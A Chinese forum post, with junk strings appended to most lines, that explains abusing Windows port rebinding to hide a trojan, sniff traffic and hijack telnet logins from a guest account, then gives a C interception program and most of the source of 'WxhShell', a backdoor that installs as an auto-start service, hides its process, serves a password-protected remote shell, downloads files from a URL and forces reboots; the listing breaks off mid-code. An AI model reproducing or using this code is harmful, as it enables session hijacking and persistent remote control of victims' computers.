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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tK%c@gGU9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r(2 R <A  
'PWQnt_U  
  saddr.sin_family = AF_INET; s4T}Bs r  
=sOo:s  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h?,\(KjP#  
hF&}lPVtv  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); iz"3\{aN  
(!?K7<Jv  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )yxT+g2!  
xU9@$am  
  这意味着什么?意味着可以进行如下的攻击: AN9[G  
5c -N0@\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Me:{{-V4  
?PPZp6A3L=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g2p"LWex-  
T,JA#Rk|1N  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 UmKX*T9  
eR!G[Cw-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @=uN\) 1  
b*,3< 9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ZYtiMBJ  
'i>xf ^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 CL7Nr@  
~0-g%C?R  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %3Bpn=k>  
vi {uy  
  #include CV.+P-  
  #include u@.>WHQN  
  #include VS/;aG$&y  
  #include    vH?9\3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   CP` XUpX`&  
  int main() q'(z #h,cv  
  { {)K](S ~  
  WORD wVersionRequested; ^i_Iqph=  
  DWORD ret; {8NwFN.  
  WSADATA wsaData; eXy"^x p^  
  BOOL val; M1u{A^d.Z  
  SOCKADDR_IN saddr; @%W]".*'}  
  SOCKADDR_IN scaddr; Yr&Ka:  
  int err; G{c#\?12C  
  SOCKET s; E,*&BDW  
  SOCKET sc; 5JFV%odo  
  int caddsize; :%-,Fxl4  
  HANDLE mt; [6g O  
  DWORD tid;   r[HT9  
  wVersionRequested = MAKEWORD( 2, 2 ); w+f=RHX"{  
  err = WSAStartup( wVersionRequested, &wsaData ); G?V"SU.  
  if ( err != 0 ) { Dl;d33  
  printf("error!WSAStartup failed!\n"); #s+X+fe  
  return -1; E8-53"m  
  } Rrqg[F+  
  saddr.sin_family = AF_INET; u.6P-yh  
   jM__{z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x0Bw{>Q  
@"1}16b#f  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m@ oUvxcd  
  saddr.sin_port = htons(23); ; Zq/eiB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }e=e",eAT  
  { A 0#Y, 1  
  printf("error!socket failed!\n"); Jyu`-=It  
  return -1; wq72% e  
  } e.X@] PQJQ  
  val = TRUE; 9 qH[o?]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +{rJ[J/g  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) am:.NG+  
  { 8B@J Fpg^  
  printf("error!setsockopt failed!\n"); O{n<WQd{CY  
  return -1; 5N1 K~".  
  } Vm!i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v*P[W_.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _+zVpZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S;}qLjT  
If.n(t[M9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /4C`k=>  
  { %ejeyc  
  ret=GetLastError(); iVeQ]k(u  
  printf("error!bind failed!\n"); 4r*Pa(;y  
  return -1; 6ojo##j  
  } W/v|8-gcK  
  listen(s,2); YsAF{  
  while(1) RG? MRxC  
  { ]P*!'iYN(  
  caddsize = sizeof(scaddr); 97x%w]kV  
  //接受连接请求 my,x9UPs  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?'2 v.5TQt  
  if(sc!=INVALID_SOCKET) %CT!$Y'n  
  { ahp1!=Z-=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t:9 ZCu ay  
  if(mt==NULL) /J;]u3e|  
  { k!13=Gh  
  printf("Thread Creat Failed!\n"); od,tfLw4  
  break; oEAfowXSqk  
  } uL>:tb  
  } v&2+'7]w r  
  CloseHandle(mt); 'rx?hL3VW  
  } 6_ ]8\n  
  closesocket(s); T~:_}J  
  WSACleanup(); dzxI QlP  
  return 0; r{V.jZ%p'Z  
  }   "/y|VTV"  
  DWORD WINAPI ClientThread(LPVOID lpParam) *8206[y  
  { 5bBCpNa  
  SOCKET ss = (SOCKET)lpParam; DR{] sG  
  SOCKET sc; ji##$xC  
  unsigned char buf[4096]; tw86:kYEz  
  SOCKADDR_IN saddr; yjeL9:jH[  
  long num; q u:To7  
  DWORD val; Ws>i)6[  
  DWORD ret;  h,hL?imD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6EP~F8Kd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   YZ*{^'  
  saddr.sin_family = AF_INET; qvTJ>FILT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lWlUWhLnP  
  saddr.sin_port = htons(23); 'Q`C[*c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^;64!BaK  
  { h60\ Y 8  
  printf("error!socket failed!\n"); IQoH@l&Xk  
  return -1; #Gp M22d'(  
  } \^m.dIPdO  
  val = 100; LJ l1v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TMY{OI8a  
  { &oc_ a1 R  
  ret = GetLastError(); 2+&R" #I  
  return -1; r./z,4A`  
  } 1g81S_T .  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6puVw-X  
  { q]+)c2M  
  ret = GetLastError(); i;avwP<0  
  return -1; X{'wWWZC  
  } 9;pzzZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1!f2*m  
  { xiJz`KD&  
  printf("error!socket connect failed!\n"); V^ Y*xZ  
  closesocket(sc); 'ucGt  
  closesocket(ss); Pzptr%{  
  return -1; W60Q3  
  } cb4b, Ri  
  while(1) 1{7_ `[  
  { uc\.oG;~q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 wmiafBA e  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Es~DHX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >&[3  
  num = recv(ss,buf,4096,0); >eu `!8  
  if(num>0) <]c#)xg  
  send(sc,buf,num,0); F*X%N_n  
  else if(num==0) w. vY(s  
  break; G ;jF9i  
  num = recv(sc,buf,4096,0); v2(U(Tt  
  if(num>0) Kf&r21h  
  send(ss,buf,num,0); S8vx[<  
  else if(num==0) 6_Fpca3L  
  break; *<?XTs<  
  } 0tSA|->(  
  closesocket(ss); |9x%gUm  
  closesocket(sc); Ef-a4Pi  
  return 0 ; tgK x4  
  } +RdI;QmM  
EuLXtq  
+=Yk-nJ  
========================================================== <gR`)YF7  
8 `o{b"l+  
下边附上一个代码,,WXhSHELL Gk{W:866  
$u&|[vcP0  
========================================================== |O%:P}6c  
o;*]1  
#include "stdafx.h" 9ec0^T  
v<%]XHN  
#include <stdio.h> XEa~)i{O  
#include <string.h> X+d&OcO=q  
#include <windows.h> `)LIVi"(D  
#include <winsock2.h> /XjN%|  
#include <winsvc.h> 7<fL[2-  
#include <urlmon.h> u1wg C#  
8~}s 3j4  
#pragma comment (lib, "Ws2_32.lib") ws. ?cCTpt  
#pragma comment (lib, "urlmon.lib") "h QV9 [2\  
z( *]'Y  
#define MAX_USER   100 // 最大客户端连接数 l#p }{  
#define BUF_SOCK   200 // sock buffer oEN)Dw o  
#define KEY_BUFF   255 // 输入 buffer p|b+I"M  
vT&j{2U7XW  
#define REBOOT     0   // 重启 TS/Cp{  
#define SHUTDOWN   1   // 关机 ~@[(U!G  
hyM'x*  
#define DEF_PORT   5000 // 监听端口 F [r|Y-c]  
5FZ47m ~{Z  
#define REG_LEN     16   // 注册表键长度 i1tVdbC]  
#define SVC_LEN     80   // NT服务名长度 2\DTJ`Y,  
(y%%6#bd  
// 从dll定义API vuAQm}A4'g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0T1HQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _s2m-jm7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); { ( _B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H\ {E%7^h-  
~:2&/MOP?  
// wxhshell配置信息 C{DlcZ<  
struct WSCFG { &zO3qt6  
  int ws_port;         // 监听端口 +SO2M|ru&  
  char ws_passstr[REG_LEN]; // 口令 C{8i7D  
  int ws_autoins;       // 安装标记, 1=yes 0=no Gg'<Q.H  
  char ws_regname[REG_LEN]; // 注册表键名 MJy;GzJ O  
  char ws_svcname[REG_LEN]; // 服务名 F\zkyk 4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P\Ai|"=&]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~6\& y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fecx';_1`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mx:J>SPA8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8e]z6:}'E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >0kmRVd  
Czq1 kz  
}; xi;/^)r  
U? {'n#n 5  
// default Wxhshell configuration _{[k[]  
struct WSCFG wscfg={DEF_PORT, MV% :ES?  
    "xuhuanlingzhe", M ' a&  
    1, '2 w XV;`  
    "Wxhshell", ,}eRnl\  
    "Wxhshell", -08&&H  
            "WxhShell Service", J'I1,5(  
    "Wrsky Windows CmdShell Service", cBg,k[,  
    "Please Input Your Password: ", JZW gr&O<  
  1, JmnBq<&,0  
  "http://www.wrsky.com/wxhshell.exe", R)sp  
  "Wxhshell.exe" 3Ne9% "  
    }; V"w`!  
-iY9GN89c  
// 消息定义模块 aQ32p4C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^2C0oX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XRClBTKF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x>U1t!'  
char *msg_ws_ext="\n\rExit."; Pd)K^;em  
char *msg_ws_end="\n\rQuit."; z\xiACIc  
char *msg_ws_boot="\n\rReboot..."; BM|-GErE  
char *msg_ws_poff="\n\rShutdown..."; %'RI 3gy  
char *msg_ws_down="\n\rSave to "; FE0qw1{qQ  
HiQoRk  
char *msg_ws_err="\n\rErr!"; fBHkLRFH  
char *msg_ws_ok="\n\rOK!"; = 4BLc  
73&]En  
char ExeFile[MAX_PATH]; 6V.awg,  
int nUser = 0; 8#X?k/mzU  
HANDLE handles[MAX_USER]; l81&[  
int OsIsNt; 6(ka"Vu~  
&>&dhdTQ  
SERVICE_STATUS       serviceStatus; R59e&   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3~cS}N T  
VQ1?Db(_2  
// 函数声明 54`bE$:+  
int Install(void); &:;/]cwj  
int Uninstall(void); H arFo  
int DownloadFile(char *sURL, SOCKET wsh); nQ:ml  
int Boot(int flag); *,O :>Z5I  
void HideProc(void); v< 65(I>  
int GetOsVer(void); TSc~$Q]  
int Wxhshell(SOCKET wsl); 2E@C0HaL  
void TalkWithClient(void *cs); A6@+gP<  
int CmdShell(SOCKET sock); p_rN1W Dd'  
int StartFromService(void); 7yMieUF  
int StartWxhshell(LPSTR lpCmdLine); OVDMC4K2z!  
:6 Hxxh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QV nO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XD_P\z  
7bgnZ]r8t  
// 数据结构和表定义 .Ws iOJU  
SERVICE_TABLE_ENTRY DispatchTable[] = &Iv\jhq  
{ n;-x!Gs  
{wscfg.ws_svcname, NTServiceMain},  aX>4Tw  
{NULL, NULL} ?)A]q' O  
}; "o\6k"_c>  
G=r(SJq  
// 自我安装 ^BF@j4*~  
int Install(void) wc<2Uc  
{ ;']vY  
  char svExeFile[MAX_PATH]; 3Ew"[FUs  
  HKEY key; a -z23$3  
  strcpy(svExeFile,ExeFile); 7i-W*Mb:  
q#mFN/.(+  
// 如果是win9x系统,修改注册表设为自启动 C5:dO\?O  
if(!OsIsNt) { [JX}1%NA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vR6^n~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ef;& Y>/  
  RegCloseKey(key); 'DL;c@}37  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *eJhd w*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oyKt({  
  RegCloseKey(key); SX_kr^#  
  return 0; <6d{k[7fz)  
    } +t7c&td\  
  } n.Ur-ot  
} 'U|MM;(  
else { D{,[\^c  
NDs]}5#   
// 如果是NT以上系统,安装为系统服务 9 NGeh*`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z4wrXss~  
if (schSCManager!=0) 9G`FY:(K  
{ 7$q2v=tH_  
  SC_HANDLE schService = CreateService .d#G]8suF  
  ( 42n@:5`{+  
  schSCManager, +P> A P&  
  wscfg.ws_svcname, X]+(c_i:hC  
  wscfg.ws_svcdisp, !Zk%P  
  SERVICE_ALL_ACCESS, ?1-n\ka  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ="#:=i]  
  SERVICE_AUTO_START, Y\z^\k  
  SERVICE_ERROR_NORMAL, zVc7q7E  
  svExeFile, \,@Yl.,+  
  NULL, Ov~S2?E8  
  NULL, Rk437vQD,  
  NULL, 2;Y@3d:z  
  NULL, yZj}EBa  
  NULL h+zkVRyA  
  ); w]o:c(x@  
  if (schService!=0) 1A`?y& Ll  
  { ~n8*@9[  
  CloseServiceHandle(schService); *uI hxMX  
  CloseServiceHandle(schSCManager); K=!ZI/+ju  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t9f4P^V`  
  strcat(svExeFile,wscfg.ws_svcname); \V"P maP\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bG?WB,1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /QV. U.>G  
  RegCloseKey(key); 7{kpx$:_  
  return 0; 8Y{}p[UFT  
    } pb/{ss+  
  } 5KC\1pe i  
  CloseServiceHandle(schSCManager); ^?K?\   
} |ZST Y}RXA  
} T ,O<LFv  
J1c&"Oh  
return 1; HYI1 o/}  
} [F AOp@7W  
_Pfx_+  
// 自我卸载 #g-*n@ 1  
int Uninstall(void) R>e3@DQ~  
{ A&}nRP9  
  HKEY key; ok\/5oz  
aoakTi!}  
if(!OsIsNt) { &, Zz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +EiUAs~H  
  RegDeleteValue(key,wscfg.ws_regname); b W C~Hv  
  RegCloseKey(key); [! dnm1   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  'QekQ];  
  RegDeleteValue(key,wscfg.ws_regname); u\1Wkxj  
  RegCloseKey(key); ?{.b9`  
  return 0; 8x^H<y=O  
  } Z#TgFQ3u  
} BJO~$/R?v  
} _OknP2E  
else { Z:B Y*#B  
q/w6sQx$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T`w};]z^d2  
if (schSCManager!=0) *09\\ G  
{ 8O.:3%D~ t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 21/a3Mlx#  
  if (schService!=0) '+q'H  
  { sw qky5_K  
  if(DeleteService(schService)!=0) { ;@ll  
  CloseServiceHandle(schService); u>Axq3F  
  CloseServiceHandle(schSCManager); -B3w RAEt  
  return 0; *p#YK|  
  } XvzV lKL  
  CloseServiceHandle(schService); ?/l}(t$H  
  } Xv5Ev@T  
  CloseServiceHandle(schSCManager); Y(I*%=:$  
} |H+k?C-w  
} ZAo)_za&mH  
Y%?!AmER  
return 1; $Pb[ c%'  
} qLW-3W;WUH  
TNyY60E  
// 从指定url下载文件 R SWB!-  
int DownloadFile(char *sURL, SOCKET wsh) 48&KdbGX  
{ fssL'DD  
  HRESULT hr; 4KSP81}/\  
char seps[]= "/"; I|3v&E 1  
char *token; XUqE5[O%  
char *file; s<r.+zqW  
char myURL[MAX_PATH]; _KkVI7a  
char myFILE[MAX_PATH]; x4m_(CtK  
|_xiG~  
strcpy(myURL,sURL); "w|k\1D  
  token=strtok(myURL,seps); Ppb2"Ik  
  while(token!=NULL) seD+~Y\z  
  { xX4^nem\G  
    file=token; 'xrbg]b%  
  token=strtok(NULL,seps); *}iT6OJ  
  } Wn,g!rB^@  
o2e h)rtB  
GetCurrentDirectory(MAX_PATH,myFILE); !{~7)iq  
strcat(myFILE, "\\"); O*n%2Mam  
strcat(myFILE, file); 8JFkeU%yO  
  send(wsh,myFILE,strlen(myFILE),0); ah6F^Kpl{  
send(wsh,"...",3,0); %k;FxUKi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M"$RtS|h  
  if(hr==S_OK) ]MA)=' ~  
return 0; bQN4ozSi  
else by y1MgQd  
return 1; sImxa`kb  
_467~5JkU  
} A[$wxdc  
C^42=?  
// 系统电源模块 /h.3<HI."*  
int Boot(int flag) wsGq>F~  
{ NMY!-Kv 5  
  HANDLE hToken; &qI5*aQ8T  
  TOKEN_PRIVILEGES tkp; oJp_c  
.HyiPx3^  
  if(OsIsNt) { K~ /V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xo_k"'f+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +U/"F|M  
    tkp.PrivilegeCount = 1; Lp]C![\>U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (uK), *6B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BiLreZ~"  
if(flag==REBOOT) { FivaCNA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uy-Ncy  
  return 0; !/(}meZj  
} TtjSLkF  
else { eWk2YP!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zt?w n* _  
  return 0; NizJq*V>  
} 98}vbl31j  
  } 6=lQT 9u{  
  else { fu "z%h]   
if(flag==REBOOT) { ? A#z~;X@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :pjK\  
  return 0; eD1MP<>h  
}  p|8Fl  
else { x w83K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7<Js'\Z  
  return 0; |Gs-9+'y  
} 2?nyPqT3AM  
} :@8.t,|  
! tPK"k  
return 1; 1:s~ ]F@  
} ;Wh[q*A  
[^=8k2  
// win9x进程隐藏模块 0|Ft0y`+  
void HideProc(void) !9cPNIi  
{ +~{nU'  
n *0F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o%>nu  
  if ( hKernel != NULL ) nMoF;AdKm  
  { Oc+L^}elJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U"kK]Stk<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1 'pQ,  
    FreeLibrary(hKernel); Cv7RCjMw  
  } ~HI0<;r=eL  
s ;Nu2aOp7  
return; 5.HztNL  
} & ~G  
XN%D`tbvJ  
// 获取操作系统版本 3:Egqw  
int GetOsVer(void) $/#)  
{ uOUw8  
  OSVERSIONINFO winfo; 2}\sj'0&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^B=z_0 *  
  GetVersionEx(&winfo); n?fC_dy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H.~+{jTr  
  return 1; g^^m a}i  
  else um;U;%?Q  
  return 0; pG=zGx4  
} s"F,=]HQ!G  
oqo8{hrdHk  
// 客户端句柄模块 Yy~Dg  
int Wxhshell(SOCKET wsl) G%/cV?18  
{ 8-6{MJ?F  
  SOCKET wsh; vKLG9ovlY  
  struct sockaddr_in client; d }CMX$1  
  DWORD myID; GuDD7~qxY  
}33Au-%*  
  while(nUser<MAX_USER) .%h_W\M<l  
{ U]&%EqLS  
  int nSize=sizeof(client); -* j;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0vNM#@  
  if(wsh==INVALID_SOCKET) return 1; 93 b5S>&r  
8k% :w0H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^w}Ib']X  
if(handles[nUser]==0) 1fp&"K:yR  
  closesocket(wsh); n{* [Y  
else )p](*Z^  
  nUser++; 6UP3Ij  
  } hrxASAfg6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5S?Xl|8E  
B|w}z1.  
  return 0; $jL.TraV7  
} uty]-k   
L )"w-,zy  
// 关闭 socket [vJosbU;  
void CloseIt(SOCKET wsh) _\]UA?0  
{ cl8Mv  
closesocket(wsh); w8zQDPVB%  
nUser--; :{imRa-  
ExitThread(0); #f@53Pxb  
} 9K y,oB  
$>`8'I  
// 客户端请求句柄 :udZfA\sW  
void TalkWithClient(void *cs) "q8 'tN><  
{ duTSU9  
wQ95tN  
  SOCKET wsh=(SOCKET)cs; yZ6X$I:C  
  char pwd[SVC_LEN]; PSvRO% &  
  char cmd[KEY_BUFF]; nI` 1@ vB&  
char chr[1]; @72G*u\Wz  
int i,j; N4FG_  N  
'a9.JS[pj  
  while (nUser < MAX_USER) { u(qpdG||7  
!1]xKNp ]  
if(wscfg.ws_passstr) { eVJL|uI|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P=g+6-1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RR9s%>^  
  //ZeroMemory(pwd,KEY_BUFF); oOvbel`;  
      i=0; \8H"lcj:  
  while(i<SVC_LEN) { w%"q=V  
Cq'r 'cBZ  
  // 设置超时 #7)6X:/O  
  fd_set FdRead; 9EQ,|zf'  
  struct timeval TimeOut; |MGw$  
  FD_ZERO(&FdRead); aUQq<H'R  
  FD_SET(wsh,&FdRead); WocFID:b  
  TimeOut.tv_sec=8; OTm"Iwzu@  
  TimeOut.tv_usec=0; Ds$;{wl#x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F U%b"gP^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6 >2! kM7  
R 1\]Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }'JPA&h|  
  pwd=chr[0]; !h;VdCCi#  
  if(chr[0]==0xd || chr[0]==0xa) { =!2   
  pwd=0; e<pojb1Q  
  break; )oCF| 2qc  
  } U^S0H(>  
  i++; n+w>Qz'  
    } @B <_h+  
WbF\=;$=7  
  // 如果是非法用户,关闭 socket jKs8i$q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C8-q<t#SF  
} L T!X|O.  
p^3d1H3   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9)`wd&!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _;+&'=6.[  
:I8t}Wg  
while(1) { 1,,:4 *)  
~M=`f{-$K  
  ZeroMemory(cmd,KEY_BUFF); (nG  
{w(N9Va,(  
      // 自动支持客户端 telnet标准   ^|2qD: ;  
  j=0; W*#/@/5  
  while(j<KEY_BUFF) { jLU)S)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xFh}%mwpt[  
  cmd[j]=chr[0]; >U]. k8a)  
  if(chr[0]==0xa || chr[0]==0xd) { qx NV~aK  
  cmd[j]=0; _,QUH"  
  break; /fEXAk  
  } j(hC't-  
  j++; [VH t#JuN,  
    } GWsFW[T?~  
`,z{70  
  // 下载文件 mE1*F'0a  
  if(strstr(cmd,"http://")) { .FyC4"b=c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2TO1i0  
  if(DownloadFile(cmd,wsh)) b(F`$N@7C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0!T $Ef   
  else :/08}!_:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K,Vl.-4?  
  } p_D)=Ef|&  
  else { 0&|-wduR=  
dcsd//E  
    switch(cmd[0]) { 3FfS+q*3S  
  p_( NLJ%  
  // 帮助 -vQ`}e1  
  case '?': { |b'AWI81D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8dNJZoV  
    break; |gNOv;l  
  } `CBTZG09  
  // 安装 }T@AoIR0t  
  case 'i': { >2r/d  
    if(Install()) #=2~MXa@z7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5;+Bl@zGu  
    else x[E`2_Ff0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U8z,N1]r*`  
    break; L!5HE])<)  
    } :\Dm=Q\  
  // 卸载 ;%&@^;@k%  
  case 'r': { sj1x>  
    if(Uninstall()) (]L=$u4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xo}hu %XL  
    else @r<w|x}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !|]%^G  
    break; bZ=d!)%P-{  
    } G9]GK+@&F  
  // 显示 wxhshell 所在路径 iD9GAe}x  
  case 'p': { kE1u-EA  
    char svExeFile[MAX_PATH]; R~o?X ^^O  
    strcpy(svExeFile,"\n\r"); qohUxtnTK>  
      strcat(svExeFile,ExeFile); ay2.C BF  
        send(wsh,svExeFile,strlen(svExeFile),0); pAYuOk9n  
    break; {chl+au*l  
    } g~]FI  
  // 重启 W/+0gh7`,(  
  case 'b': { }5|uA/B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q>?oV(sF  
    if(Boot(REBOOT)) _nF_RpS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JL1Whf  
    else { M~v{\!S  
    closesocket(wsh); d] {^  
    ExitThread(0); N 6eY-`4y  
    } 2gi`^%#k]  
    break; FTn[$q  
    } 3Dy.mtP  
  // 关机 5,A/6b  
  case 'd': { "{}5uth  
